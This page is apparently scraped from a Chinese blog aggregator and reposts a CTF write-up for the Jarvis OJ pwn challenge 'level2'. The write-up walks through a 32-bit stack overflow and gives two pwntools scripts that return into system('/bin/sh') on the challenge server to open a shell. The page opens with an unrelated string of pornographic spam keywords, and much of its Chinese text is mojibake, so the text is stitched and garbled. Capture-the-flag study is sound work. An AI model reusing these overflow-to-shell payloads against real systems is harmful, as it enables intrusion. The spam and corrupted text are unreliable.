日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問(wèn) 生活随笔!

生活随笔

當(dāng)前位置: 首頁(yè) > 编程资源 > 编程问答 >内容正文

编程问答

[Jarvis OJ - PWN]——[XMAN]level2

發(fā)布時(shí)間:2024/4/17 编程问答 32 豆豆
生活随笔 收集整理的這篇文章主要介紹了 [Jarvis OJ - PWN]——[XMAN]level2 小編覺(jué)得挺不錯(cuò)的,現(xiàn)在分享給大家,幫大家做個(gè)參考.

[Jarvis OJ - PWN]——[XMAN]level2

  • 題目地址:https://www.jarvisoj.com/challenges
  • 題目:
    首先,checksec一下。32位并且沒(méi)有開(kāi)啟PIE

    在IDA中查看一下。main函數(shù)里面沒(méi)有我們想要的,點(diǎn)開(kāi)vulnerable_function函數(shù)。發(fā)現(xiàn)read函數(shù),第一個(gè)參數(shù)為0,代表標(biāo)準(zhǔn)輸入。可以利用棧溢出。


    發(fā)現(xiàn)里面有system函數(shù),但是里面的參數(shù)不是我們想要的,所以我們要覆蓋一下它。按shift + F12,找到/bin/sh字符串。


    /bin/sh的地址為0x0804A024
    下面我們有兩種方法

方法一

可以利用 .plt 找到system函數(shù)第一句執(zhí)行的地址。或者也可以自己找。
exp:

from pwn import * p = remote('pwn2.jarvisoj.com', 9878) elf = ELF("./level2.54931449c557d0551c4fc2a10f4778a1") binsh = 0x0804A024 sys_address = elf.plt["system"] # 其實(shí)就是0x08048320 payload = 'a'*(0x88 + 0x4) + p32(sys_address)+'aaaa'+p32(binsh) # aaaa可以隨機(jī)四個(gè)字符就好 p.send(payload) p.interactive()

方法二

找到call system的地址
exp:

from pwn import * p = remote('pwn2.jarvisoj.com', 9878) binsh = 0x0804A024 call_system_address = 0x0804845C payload = 'a'*(0x88 + 0x4) + p32(call_system_address)+p32(binsh) p.send(payload) p.interactive()

小知識(shí)

call語(yǔ)句,其實(shí)包含兩個(gè)步驟:

  • 將函數(shù)的下一條執(zhí)行語(yǔ)句的地址壓棧 ,也就是返回地址
  • 執(zhí)行函數(shù)的第一個(gè)語(yǔ)句

  • 就不給你自己寫(xiě)下exploit

    總結(jié)

    以上是生活随笔為你收集整理的[Jarvis OJ - PWN]——[XMAN]level2的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問(wèn)題。

    如果覺(jué)得生活随笔網(wǎng)站內(nèi)容還不錯(cuò),歡迎將生活随笔推薦給好友。